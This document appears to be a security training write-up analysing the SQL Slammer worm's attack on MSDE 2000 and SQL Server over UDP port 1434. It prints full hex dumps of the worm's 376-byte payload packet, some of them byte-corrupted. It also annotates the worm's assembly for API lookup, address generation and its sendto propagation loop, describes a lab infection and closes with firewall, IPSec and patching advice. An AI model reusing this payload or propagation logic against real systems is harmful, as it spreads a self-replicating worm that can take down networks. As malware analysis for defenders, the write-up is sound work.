Microsoft's database engine MSDE 2000 exhibits two buffer overflow vulnerabilities that can be exploited by a remote attacker without every having to authenticate to the server. What further exacerbates these issues is that the attack is channeled over UDP. Whether the MSDE 2000 process runs in the security context of a domain user or the local SYSTEM account, successful exploitation of these security holes will mean a total compromise of the target system.
MS-SQL Slammer sends a 376 byte long UDP packet to port 1434 using random targets at a very high rate. Vulnerable systems will immediately start sending identical 376 byte packets once they are infected. The worm sends traffic to random IP addresses, including multicast IP addresses, causing a Denial of Service on the target network. Single infected machines have reported traffic in excess of 50 Mb/sec after being infected.
To date, this is the only known variant of this exploit.
David Litchfield originally discovered this vulnerability, and his source code is provided in Appendix B. The source code will compromise the SQL Server/MSDE 2000 server and provides a remote shell to any system you wish. The code was written to be operating system and SQL Server/MSDE server service pack independent. The shell is obtained as follows:
As discussed in the CAIDA analysis, random scanning worms initially spread exponentially, but this exponential rise slows as the worm spends more and more of its time trying to infect previously infected systems or systems not exploitable. Although spread was similar to Code Red, its smaller size (376 bytes vs. 4 KB for Code Red) and use of UDP made its infection time many times more rapid. Code Red (and Nimda) invoked multiple connect () threads to probe random addresses; thus these worms were latency limited, having to wait for the time require to a response or timeout of a TCP-SYN packet. The UDP protocol does not have this limitation. Thus the worm spread limitation was proportional to the compromised machine's bandwidth to the Internet. An infected machine with a 100 Mb/s connection to the Internet could produce over 30,000 scans/second. Bandwidth limitations and packet overhead reduce this number to about 26,000 scans/sec.
15:52:00.583113 IP (tos 0x0, ttl 128, id 53001, len 404) w2kserver.mmicmanhomenet.local.1183 > exploit.mmicmanhomenet.local.1434: udp 376
4500 0194 cf09 0000 8011 e630 c0a8 0164
c0a8 016a 049f 059a 0180 ac8d 0401 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 01dc c9b0
42eb 0e01 0101 0101 0101 70ae 4201 70ae
4290 9090 9090 9090 9068 dcc9 b042 b801
0101 0131 c9b1 1850 e2fd 3501 0101 0550
89e5 5168 2e64 6c6c 6865 6c33 3268 6b65
726e 5168 6f75 6e74 6869 636b 4368 4765
7454 66b9 6c6c 5168 3332 2e64 6877 7332
5f66 b965 7451 6873 6f63 6b66 b974 6f51
6873 656e 64be 1810 ae42 8d45 d450 ff16
508d 45e0 508d 45f0 50ff 1650 be10 10ae
428b 1e8b 033d 558b ec51 7405 be1c 10ae
42ff 16ff d031 c951 5150 81f1 0301 049b
81f1 0101 0101 518d 45cc 508b 45c0 50ff
166a 116a 026a 02ff d050 8d45 c450 8b45
c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45
b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829
c28d
The packet above is dissected using the "objdump" command. The results of this command are presented in Appendix C.
From the dissection of the packet presented in the previous section and in Appendix C, a discussion of the worm portion of the packet is presented. This discussion follows the analysis of Matthew Murphy at http://techie.hopto.org and Riley Hassell of Eeye Software. The analysis is split into two parts, Initialization and Propagation. When an SQL/MSDE 2000 server is infected by this worm, the worm immediately sets up a stack frame with information that it needs for propagation. It locates the GetTickCount Application Programming Interface (API) as well as several other WinSock APIs. It locates LoadLibraryA and GetProcAddress APIs, by searching the IAT of sqlsort.dll.
The system timer of the infected system is used as the seed for address generation. All addresses generated are predictably based upon this value. Each system receives a single UDP packet that triggers the buffer overflow, spreading the worm to that system.
Using the vulnerability exposed by Mr. Litchfield on udp port 1434, the buffer is overrun and the return address is overwritten. On return, the worm hits a jump esp in sqlsort.dll which is a lead in to its payload. Packet constructions then begin by first saving the EIP to the stack:
push 42B0C9DCh ; [EBP-4] Sqlsort.dll ->: jmp esp
After the buffer overflow the payload buffer gets corrupted during program execution. The following code rebuilds the buffer so that it can be resent in the sendto() loop:
mov eax, 1010101h
xor ecx, ecx
mov cl, 18h
FIXUP:
Push eax ; [EBP-8 to EBP-60h]
loop FIXUP
xor eax, 5010101h
push eax ; [EBP-64h]
To keep track of the worm at the stack level, the worm stack map is provided:
[Worm Body] 42 B0 C9 DC 01 01 01 01 [EBP+58h] 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+50h] 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+40h] 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+30h] 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+20h] 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 [EBP+10h] 01 01 01 01 01 01 01 01 01 01 01 01 04 00 00 00 [EBP-0] 00 00 00 00 6C 6C 64 2E 32 33 6C 65 6E 72 65 6B [EBP-10h] ;'kernel32.dll' 00 00 00 00 74 6E 75 6F 43 6B 63 69 54 74 65 47 [EBP-20h] ; 'GetTickCount' 00 00 6C 6C 64 2E 32 33 5F 32 73 77 [EBP-2Ch]; 'ws2_32.dll' 00 00 74 65 6B 63 6F 73 [EBP-34h] ; 'socket' 00 00 6F 74 64 6E 65 73 [EBP-3Ch]; 'sendto' [Base address of ws2_32.dll] [EBP-40h] ; 00 00 00 00 00 00 00 00 [EBP-48h] ; sin_zero [Pseudo-Random seed] [EBP-4Ch]; sin_addr.s_addr 9A 05 00 02 [EBP-50h] ; sin_port, sin_family [UDP socket descriptor] [EBP-54h]
Keep in mind that x86 stacks grow downward, so the top of the stack is actually the end of memory. When the worm later calls sendto, the Application Programming Interface (API) reads the stack memory backwards, and reconstructs the packet again.
Continuing with the dissection, the stack is then "normalized" for the exploit to continue:
mov ebp, esp ; EBP=ESP
Next, a series of strings and terminating nulls are pushed onto the stack. This is common practice in simple exploits that do not require a lot of data to operate. The ecx register is used to store nulls.
push ecx ; [EBP4]
The worm then begins to set up a stack frame to store the following strings:
push 6C6C642Eh ; [EBP-8] push 32336C65h ; [EBP-0Ch] push 6E72656Bh ; [EBP-10h] Push string kernel32.dll push ecx ; [EBP-14h] push 746E756Fh ; [EBP-18h] Push string GetTickCount push 436B6369h ; [EBP-1Ch] push 54746547h ; [EBP-20h] mov cx, 6C6Ch push ecx ; [EBP-24h] push 642E3233h ; [EBP-28h] Push string ws2_32.dll push 5F327377h ; [EBP-2Ch mov cx, 7465h push ecx ; [EBP-30h] push 6B636F73h ; [EBP-34h] Push string socket mov cx, 6F74h push ecx ; [EBP-38h] push 646E6573h ; [EBP-3Ch] Push string sendto
The worm then locates LoadLibrary and GetProcAddress from the Import Address Table (IAT) of the sqlsort.dll library:
mov esi, 42AE1018h ; sqlsort.dll->IAT entry for LoadLibrary
The worm loads the ws_32.dll library into eax and then saves the resulting handle to its stack using a push. This will be used for a later GetProcAddress.
lea eax, [ebp-2Ch]
push eax ; [EBP-40h]
call dword ptr [esi] ;Procedure exit: ESP=EBP-3Ch
push eax; ; [EBP-40h
The worm then pushes a string point (GetTickCount onto the top of the stack. This will be used as an argument to the GetProcAddress call after the next LoadLibrary call:
lea eax, [ebp-20h]
push eax ; [EBP-44h]
The worm then obtains a handle to the kernel32.dll library via the LoadLibrary function referenced in ESI. This is done in the same way as the previous loading of ws_32.dll:
lea eax, [ebp-10h] ; Load address of string "kernel32.dll" into eax
push eax ; [EBP-48h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-44h
push eax ; [EBP-48h]
The worm then attempts to locate the entry for GetProcAddress from the same sqlsort.dll IAT it used to find LoadLibrary previously:
mov esi, 42AE1010h ; Move sqlsort:[IAT] entry into esi. mov ebx, [esi] ; Move IAT entry (function entry point) into ebx. mov eax, [ebx] ; Move 4 bytes of instructions into eax.
The worm then attempts to fingerprint the GetProcAddress API, and will fall back to the other known base address if this fails. This fingerprinting is necessary due to slight discrepancies in the sqlsort.dll in services packs 1 and 2 of MSDE 2000. The IAT addresses varied slightly between the two services, as mentioned in the vulnerability analysis. Thus, two checks are needed:
cmp eax, 51EC8B55h ;
jz short VALID_GP ;
GetProcAddress(kernel32_base,GetTickCount)
mov esi, 42AE101Ch ; This point is only reached if the previous test
failed. On a default install of MSSQL Server 2000, we will reach this point.
Then next assignment will assign esi the sqlsort.dll->IAT entry for GetProcAddress.
The worm then calls the GetProcAddress. The API receives its two parameters from the top of the stack:
FOUND_IT:
call dword ptr [esi ; [ESP=EBP-40h]
GetProcAddress(kernel32_base,GetTickCount)
The worm calls GetTickCount via the return value of GetProcAddress call, and adds eight bytes to its stack frame for later storage needs:.
call eax ; GetTickCount(), ESP=EBP-40h
xor ecx, ecx
push ecx
push ecx ; [EBP-44h]
push eax ; [EBP-48h]
The worm generates the two permanent members of a sockaddr_in structure. ECX=9A050002, which represents the first two members of the structure:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
The first member is set to 2 (AF_INET), and the second is set to the network-order representation of 1434 (the port of the SQL resolution service). This 4-byte set is then saved to the stack frame:
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; [EBP-50h]
The worm then locates the 'socket' API call via the GetProcAddress pointer stored in the ESI register. EBP-34h stores the address of the string literal "socket", while EBP-40h stores the base address of the ws2_32.dll library:
lea eax, [ebp-34h]
push eax ; [EBP-54h]
mov eax, [ebp-40h]
push eax ; [EBP-58h]
call dword ptr [esi] ; Procedure exit: ESP=EBP-50h
The worm then creates a UDP socket for use in propagation. The socket is a User Datagram Protocol socket, and the function address is pulled from the return value of GetProcAddress. The worm then saves the socket descriptor to its stack frame:
push 11h ; [EBP-54h] IPPROTO_UDP - User Datagram Protocol
push 2 ; [EBP-58h] SOCK_DGRAM - Datagram socket
push 2 ; [EBP-5Ch] AF_INET - Internet address family
call eax ; Procedure exit: ESP=EBP-50h
push eax ; [EBP-54h]
lea eax, [ebp-3Ch]
push eax ; [EBP-58h]
mov eax, [ebp-40h]
push eax ; [EBP-5Ch]
call dword ptr [esi] ; Procedure exit: ESP=EBP-54h
mov esi, eax
The worm XORs the EBX register with 0xFFD9613C, before beginning its simple spreading routine. The OR instruction was most likely intended to be an XOR. However, this doesn't break worm functionality; it only modifies the worm's random address behavior slightly. This may be the reason for some hosts seeing a disproportionate number of scans:
or ebx, ebx
xor ebx, 0FFD9613Ch
The worm then initializes a propagation routine that generates 'random' IP addresses, and sends the attack packet to each system on the SQL resolution service' default UDP port 1434.
This portion of the routine generates a random number based on the seed stored at EBP-4Ch, and then replacing it with the value in EAX at the end of the procedure:
PRND:
mov eax, [ebp-4Ch] ; EAX=Random seed
lea ecx, [eax+eax*2] ; ECX=EAX*4
lea edx, [eax+ecx*4] ; EDX=ECX*4+EAX
shl edx, 4 ; EDX=EDX<<4
add edx, eax ; EDX+=EAX
shl edx, 8 ; EDX=EDX<<8
sub edx, eax ; EDX-=EAX
lea eax, [eax+edx*4] ; EAX+=EDX*4
add eax, ebx ; EAX+=EBX
mov [ebp-4Ch], eax ; Replace old seed w/ new one
This is the portion of code where sendto is actually called. The parameters to the function are commented in the code below. The parameter list to sendto is as follows:
WINSOCK_API_LINKAGE
int
WSAAPI
sendto(
SOCKET s,
const char FAR * buf,
int len,
int flags,
const struct sockaddr FAR * to,
int tolen
);
The parameters are passed as follows:
s = EBP-54h: This is the socket descriptor returned by the prior call to socket.
push 10h ; [EBP-58h] sizeof(struct sockaddr_in)
lea eax, [ebp-50h]
push eax ; [EBP-5Ch] eax=Target address
xor ecx, ecx
push ecx ; [EBP-60h] ecx=Send flags
xor cx, 178h
push ecx ; [EBP-64h] ecx=Packet length
lea eax, [ebp+3]
push eax ; [EBP-68h] eax=Exploit address
mov eax, [ebp-54h]
push eax ; [EBP-6Ch] eax=socket descriptor
call esi ; Procedure exit: ESP=EBP-54h
The worm then continues replication by jumping back into the pseudo-random number generator:
jmp short PRND
Presuming you had a machine running MSDE 2000 with port 1434 open and directly connected to the Internet with no firewall filtering, no router port filtering or proper patches, an infected machine would send a non-infected machine the following packet:
09:52:28.874027 192.xxx.yyy.zzz.32806 > target.machine.com.ms-sql-m: udp 477 (DF) (ttl 64, id 37316, len 505)
4500 01f9 91c4 4000 4011 230a c0a8 016b
c0a8 016a 8026 059a 01e5 d456 0401 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 01c3 9cc3
89c2 b042 c3ab 0e01 0101 0101 0101 70c2
ae42 0170 c2ae 42c2 90c2 90c2 90c2 90c2
90c2 90c2 90c2 9068 c39c c389 c2b0 42c2
b801 0101 0131 c389 c2b1 1850 c3a2 c3bd
3501 0101 0550 c289 c3a5 5168 2e64 6c6c
6865 6c33 3268 6b65 726e 5168 6f75 6e74
6869 636b 4368 4765 7454 66c2 b96c 6c51
6833 322e 6468 7773 325f 66c2 b965 7451
6873 6f63 6b66 c2b9 746f 5168 7365 6e64
c2be 1810 c2ae 42c2 8d45 c394 50c3 bf16
50c2 8d45 c3a0 50c2 8d45 c3b0 50c3 bf16
50c2 be10 10c2 ae42 c28b 1ec2 8b03 3d55
c28b c3ac 5174 05c2 be1c 10c2 ae42 c3bf
16c3 bfc3 9031 c389 5151 50c2 81c3 b103
0104 c29b c281 c3b1 0101 0101 51c2 8d45
Once this packed is received on the target machine, the buffer overflow occurs and the machine begins sending out the same packet to other IP addresses in a random fashion. The "sqlserver.exe" task in the task manager window reaches about 99% of processor capacity. The Slammer worm was launched in a test lab, with proper protection to ensure no propagation occurs beyond this network. A diagram of the network is shown below:
The machine to be targeted is 192.168.1.106, hereby denoted by its domain name "exploit.mmicmanhomenet.local." The procedure I went through to demonstrate how a machine would become infected is as follows:





17:28:03.630029 w2kserver.mmicmanhomenet.local.32814 > exploit.mmicmanhomenet.local.ms-sql-m: udp 477 (DF) (ttl 64, id 37316, len 505)
4500 01f9 91c4 4000 4011 230a c0a8 016b
c0a8 016a 8026 059a 01e5 d456 0401 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 01c3 9cc3
89c2 b042 c3ab 0e01 0101 0101 0101 70c2
ae42 0170 c2ae 42c2 90c2 90c2 90c2 90c2
90c2 90c2 90c2 9068 c39c c389 c2b0 42c2
b801 0101 0131 c389 c2b1 1850 c3a2 c3bd
3501 0101 0550 c289 c3a5 5168 2e64 6c6c
6865 6c33 3268 6b65 726e 5168 6f75 6e74
6869 636b 4368 4765 7454 66c2 b96c 6c51
6833 322e 6468 7773 325f 66c2 b965 7451
6873 6f63 6b66 c2b9 746f 5168 7365 6e64
c2be 1810 c2ae 42c2 8d45 c394 50c3 bf16
50c2 8d45 c3a0 50c2 8d45 c3b0 50c3 bf16
50c2 be10 10c2 ae42 c28b 1ec2 8b03 3d55
c28b c3ac 5174 05c2 be1c 10c2 ae42 c3bf
16c3 bfc3 9031 c389 5151 50c2 81c3 b103
0104 c29b c281 c3b1 0101 0101 51c2 8d45
The task manager on "exploit" showed a high percentage of use from the "sqlserver.exe" task:

The UDP port 1434 is only used for SQL Server discovery, and all attempts to access it should be blocked at either the border router and/or firewall. Internal access to the SQL Server or MSDE application should also be minimized. For those individuals needing explicit internet access for their applications, I recommend the used of IPSec filtering, which is available on all Windows operating systems from 2000 on. An example of how to set this up follows:




While this procedure shows how you can create a single rule on a domain controller, this method also applies to creating standalone rules on client machines. In that case, you would use Start -> Control Panel -> Administrative Tools -> Local Security Policy path on the client machine itself. to create rules for that specific machine.
I also recommend updating the machines with MSDE 2000/SQL Server 2000 with the latest service pack (Service Pack 3) from Microsoft. This can be obtained at the following URL: http://www.microsoft.com/sql/downloads/2000/sp3.asp
As shown in the previous pages, patching should not be the first line of defense against this attack. Most people would have looked at the Microsoft Update site and though they were properly protected. Even the CIS scoring tool missed this security hole. Even if one patched all SQL Servers, as recommended by the SANS/FBI Top 20 would have still missed MSDE. The binary nature of the worm meant that it took only a single infected system to take down my network. A patch management system that covered 99.9% of all machines in a large datacenter would have still left one of them vulnerable. Another issue with patches is that they often create more problems, such as your applications not working as before.
I also believe that most of the traffic generated was due to infected client machines. I list of the different applications which used the MSDE engine is provided in Appendix C. Since SQL Server is a database server, it is highly unlikely that companies would leave unprotected corporate (and potentially customer) databases unprotected on the Internet. According to a Wall Street Journal article (see references) SQL Server represents only 11% of the total database server market. Oracle and IBM have about 40% and 33% of the market respectively, yet they are not even mentioned in the SANS Top 20. One need only go to David Litchfield's corporate web site at http://www.nextgenss.com to see the documented Oracle exploits. My recommendation to SANS is to change the SQL Server vulnerability to MSDE 2000 and/or add Oracle and IBM's Lotus database to the list.
The following recommendations are more generic in nature, but serve as a benchmark to help prevent any and all future exploits.
For further reading on the vulnerabilities associated with UDP port 1434 and associated exploits:
|
|